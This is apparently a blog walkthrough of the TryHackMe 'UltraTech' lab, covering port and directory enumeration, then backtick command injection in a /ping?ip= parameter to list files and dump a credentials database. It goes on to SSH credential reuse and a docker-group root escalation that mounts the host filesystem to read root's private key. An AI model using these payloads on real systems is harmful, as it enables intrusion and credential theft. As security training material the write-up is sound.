TryHackMe – UltraTech

The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing.

Description: ~_. UltraTech ._~

This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments. If you get stuck at some point, take some time to keep enumerating.

[ Your Mission ]

You have been contracted by UltraTech to pentest their infrastructure. It is a grey-box kind of assessment, the only information you have is the company’s name and their server’s IP address. Start this room by hitting the “deploy” button on the right! Good luck and more importantly, have fun!

__ Lp1 <fenrir.pro>

Tags: security, pentest, enumeration, web

TryHackMe Difficulty: Medium

Link: https://tryhackme.com/room/ultratech1

Another day, another challenge machine, another set of questions! Let’s get into it.

Task 1 – Deploy the machine.

  1. Deploy the machine.

Done.

Task 2 – It’s enumeration time! After enumerating the services and resources available on this machine, what did you discover?

  1. Which software is using the port 8081?
  2. What other non-standard port is used?
  3. Which software is using this port?
  4. Which GNU/Linux distribution seems to be used?
  5. The software using the port 8080 is a REST API, how many of its routes are used by the web application?

I think question 5 means 8080, so we’ll approach it as such.

Nmap should give us a good idea on questions 1-4:

┌─[loki@parrot]─[~]
└──╼ $nmap -A -p- 10.10.217.166
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-06 13:44 EST
Nmap scan report for 10.10.217.166
Host is up (0.084s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| 256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_ 256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
8081/tcp open http Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Site doesn’t have a title (text/html; charset=utf-8).
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: UltraTech – The best of technology (AI, FinTech, Big Data)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.39 seconds

Since we have 2 web servers, let’s do some additional enumeration on both.

8081 – Gobuster & Nikto:

┌─[✗]─[loki@parrot]─[~]
└──╼ $gobuster dir -u http://10.10.217.166:8081 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.217.166:8081
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/11/06 14:05:16 Starting gobuster
===============================================================
/auth (Status: 200)
/Auth (Status: 200)
===============================================================
2020/11/06 14:36:29 Finished
===============================================================

┌─[loki@parrot]─[~]
└──╼ $nikto -host http://10.10.217.166:8081
– Nikto v2.1.6
—————————————————————————
+ Target IP: 10.10.217.166
+ Target Hostname: 10.10.217.166
+ Target Port: 8081
+ Start Time: 2020-11-06 14:42:07 (GMT-5)
—————————————————————————
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ Retrieved access-control-allow-origin header: *
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use ‘-C all’ to force check all possible dirs)
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 20 error(s) and 5 item(s) reported on remote host
+ End Time: 2020-11-06 14:44:53 (GMT-5) (166 seconds)
—————————————————————————

31331 – Gobuster & Nikto:

┌─[loki@parrot]─[~]
└──╼ $gobuster dir -u http://10.10.217.166:31331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.217.166:31331
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/11/06 14:18:18 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/javascript (Status: 301)
/server-status (Status: 403)
===============================================================
2020/11/06 14:49:06 Finished
===============================================================

┌─[loki@parrot]─[~]
└──╼ $nikto -url http://10.10.217.166:31331
– Nikto v2.1.6
—————————————————————————
+ Target IP: 10.10.217.166
+ Target Hostname: 10.10.217.166
+ Target Port: 31331
+ Start Time: 2020-11-09 23:40:21 (GMT-5)
—————————————————————————
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use ‘-C all’ to force check all possible dirs)
+ “robots.txt” contains 1 entry which should be manually viewed.
+ Server may leak inodes via ETags, header found with file /, inode: 17cc, size: 584b2b811ebb3, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting…
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7892 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2020-11-09 23:52:58 (GMT-5) (757 seconds)
—————————————————————————

Now, the next step(s) can be done in a few different ways, and in no particular order. However, we have our next set of tasks to look for as well so let’s see if those can give us an idea of what to check first.

Task 3 – Let the fun begin. Now that you know which services are available, it’s time to exploit them! Did you find somewhere you could try to login? Great! Quick and dirty login implementations usually goes with poor data management. There must be something you can do to explore this machine more thoroughly..

  1. There is a database lying around, what is its filename?
  2. What is the first user’s password hash?
  3. What is the password associated with this hash?

The route I initially went with was manual exploration of the 31331 website, and directory structure. This lead to a few interesting finds.

  1. /js/ produced a very interesting ‘api.js’ file that we should look at.
  2. Our Nikto scan reveals a ‘robots.txt’ file containing ‘/utech_sitemap.txt’ which we should also look at.
  3. ‘/utech_sitemap.txt’ gives us ‘/partners.html’, a login page.

So going piece by piece, let’s look at item 1. A snippet of the code displays something interesting we should try for ourselves.

function() {
console.warn(‘Debugging ::’);

function getAPIURL() {
return `${window.location.hostname}:8081`
}

function checkAPIStatus() {
const req = new XMLHttpRequest();
try {
const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`

So, what happens if we craft our address to the same parameters?

http://10.10.217.166:8081/ping?ip=10.10.217.166

We receive the following output on the page:

PING 10.10.217.166 (10.10.217.166) 56(84) bytes of data. 64 bytes from 10.10.217.166: icmp_seq=1 ttl=64 time=0.019 ms — 10.10.217.166 ping statistics — 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.019/0.019/0.019/0.000 ms

Awesome. We have the potential for command injection. If we consult any sort of ‘cheat sheet‘ for command injection, it will provide items to attempt. Not all parameters will work, depending on (if any) blacklist/whitelist allowances. You can use a number of tools, or try it out manually. After trying a number of different delimiters (&, ;, |, etc.), we shortly discover “`” will allow us to see what we’re after.

http://10.10.217.166:8081/ping?ip=10.10.217.166`id`

ping: groups=1002(www): Temporary failure in name resolution

What other useful items can we see?

http://10.10.217.166:8081/ping?ip=10.10.217.166`ls`

ping: utech.db.sqlite: Name or service not known

There’s our database file.

http://10.10.217.166:8081/ping?ip=10.10.217.166`cat utech.db.sqlite`

ping: ) ���(Mr00t*********799563c7c7b76c1e7543a32)Madmin*********e3c1def594c1684e3b9be84: Parameter string not correctly encoded

And we have our usernames and password hashes. If you’re unfamiliar with hash formats, you can either use an available utility such as ‘hashid‘, or one of many online resources. We can then see these are showing up as MD5 hashes. And now that we’ve identified the hashes and their format, let’s crack ’em. For that, we have another set of options. Utilities such as john or hashcat can do these relatively quickly. You can also sometimes find existing hashes online with pre-computed lookup tables. Either way should work for the hashes in question, your choice.

Now where can we utilize these credentials? We did see ‘/auth’ on 8081, maybe this can help us out?

10.10.217.166:8081/auth

You must specify a login and a password

Hmm. No fields appear for input. Let’s keep looking and see what else is available to aid us. What about the ‘/utech_sitemap.txt’ that gives us ‘/partners.html’, a login page? Let’s try the credentials obtained by ‘r00t’.

http://10.10.217.166:8081/auth?login=r00t&password=*******

Restricted area

Hey r00t, can you please have a look at the server’s configuration?
The intern did it and I don’t really trust him.
Thanks!

lp1

Interesting. The 31331 web server forwards the credentials over to 8081, giving us the correct ‘string’ to access the page. But that doesn’t tell us a whole lot. What else can our credentials do? If this user is truly practicing bad security, credential stuffing may help us along. We did see SSH available during our Nmap scan. Let’s give that a try.

┌─[✗]─[loki@parrot]─[~]
└──╼ $ssh r00t@10.10.217.166
The authenticity of host ‘10.10.217.166 (10.10.217.166)’ can’t be established.
ECDSA key fingerprint is SHA256:RWpgXxl3MyUqAN4AHrH/ntrheh2UzgJMoGAPI+qmGEU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘10.10.217.166’ (ECDSA) to the list of known hosts.
r00t@10.10.217.166’s password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-46-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Nov 10 05:40:48 UTC 2020

System load: 0.0 Processes: 103
Usage of /: 24.3% of 19.56GB Users logged in: 0
Memory usage: 35% IP address for eth0: 10.10.217.166
Swap usage: 0%

1 package can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

r00t@ultratech-prod:~$

And we’re in. Now, I think we’re ready for Task 4 – The root of all evil. Congrats if you’ve made it this far, you should be able to comfortably run commands on the server by now! Now’s the time for the final step! You’ll be on your own for this one, there is only one question and there might be more than a single way to reach your goal. Mistakes were made, take advantage of it.

  1. What are the first 9 characters of the root user’s private SSH key?

I don’t think they mean ‘r00t’, so we’ll continue looking for our privesc. Let’s see more about our ‘r00t’ user.

r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

‘docker’ group, eh? Didn’t we recently see something about vulnerable containers in our Anonymous walk-through? Let’s see if this works out for us, also.

r00t@ultratech-prod:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

r00t@ultratech-prod:~$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7beaaeecd784 bash “docker-entrypoint.s…” 19 months ago Exited (130) 19 months ago unruffled_shockley
696fb9b45ae5 bash “docker-entrypoint.s…” 19 months ago Exited (127) 19 months ago boring_varahamihira
9811859c4c5c bash “docker-entrypoint.s…” 19 months ago Exited (127) 19 months ago boring_volhard

r00t@ultratech-prod:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
bash latest 495d6437fc1e 20 months ago 15.8MB

What we did above was check 3 things –

  1. What docker containers were running?
  2. What docker containers are available, running and stopped?
  3. What docker images do we have to work with?

As I’m fairly new with containerization, this article should help explain the difference between images and containers. And since we don’t have to import or create a new image, let’s see if we can work with the existing ‘bash’ image, attempting a similar structure to this guide.

r00t@ultratech-prod:~$ docker run -it -v /:/mnt bash chroot /mnt
groups: cannot find name for group ID 11
To run a command as administrator (user “root”), use “sudo <command>”.
See “man sudo_root” for details.

root@1048be8c0555:/#

We’ve got root on the container. Depending on the validity of information on the container, this can prove useful to us depending on how we’d like to attack the host in the future. For now, let’s see if we can find our answer to Task 4. We want the private key (id_rsa).

root@1048be8c0555:/# cd /root/.ssh/
root@1048be8c0555:~/.ssh# cat id_rsa
—–BEGIN RSA PRIVATE KEY—–
*********AKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm
<<..snipped..>>
bPB7E9hlrI0AconivYDzfpxfX+vovlP/DdNVub/EO7JSO+RAmqo=
—–END RSA PRIVATE KEY—–

After submitting all of our answers, we’ve completed another room!

What did we take away from this machine?

  1. This was a decent example of practicing a lot of basic level enumeration. If you skip over these critical steps, you’re likely to miss things such as additional users, hidden login portals, etc.
  2. Reading more into containerization, we can see why privileged containers in Docker are a bad idea.

Did you solve this room another way? Let me know.

 

Leave a comment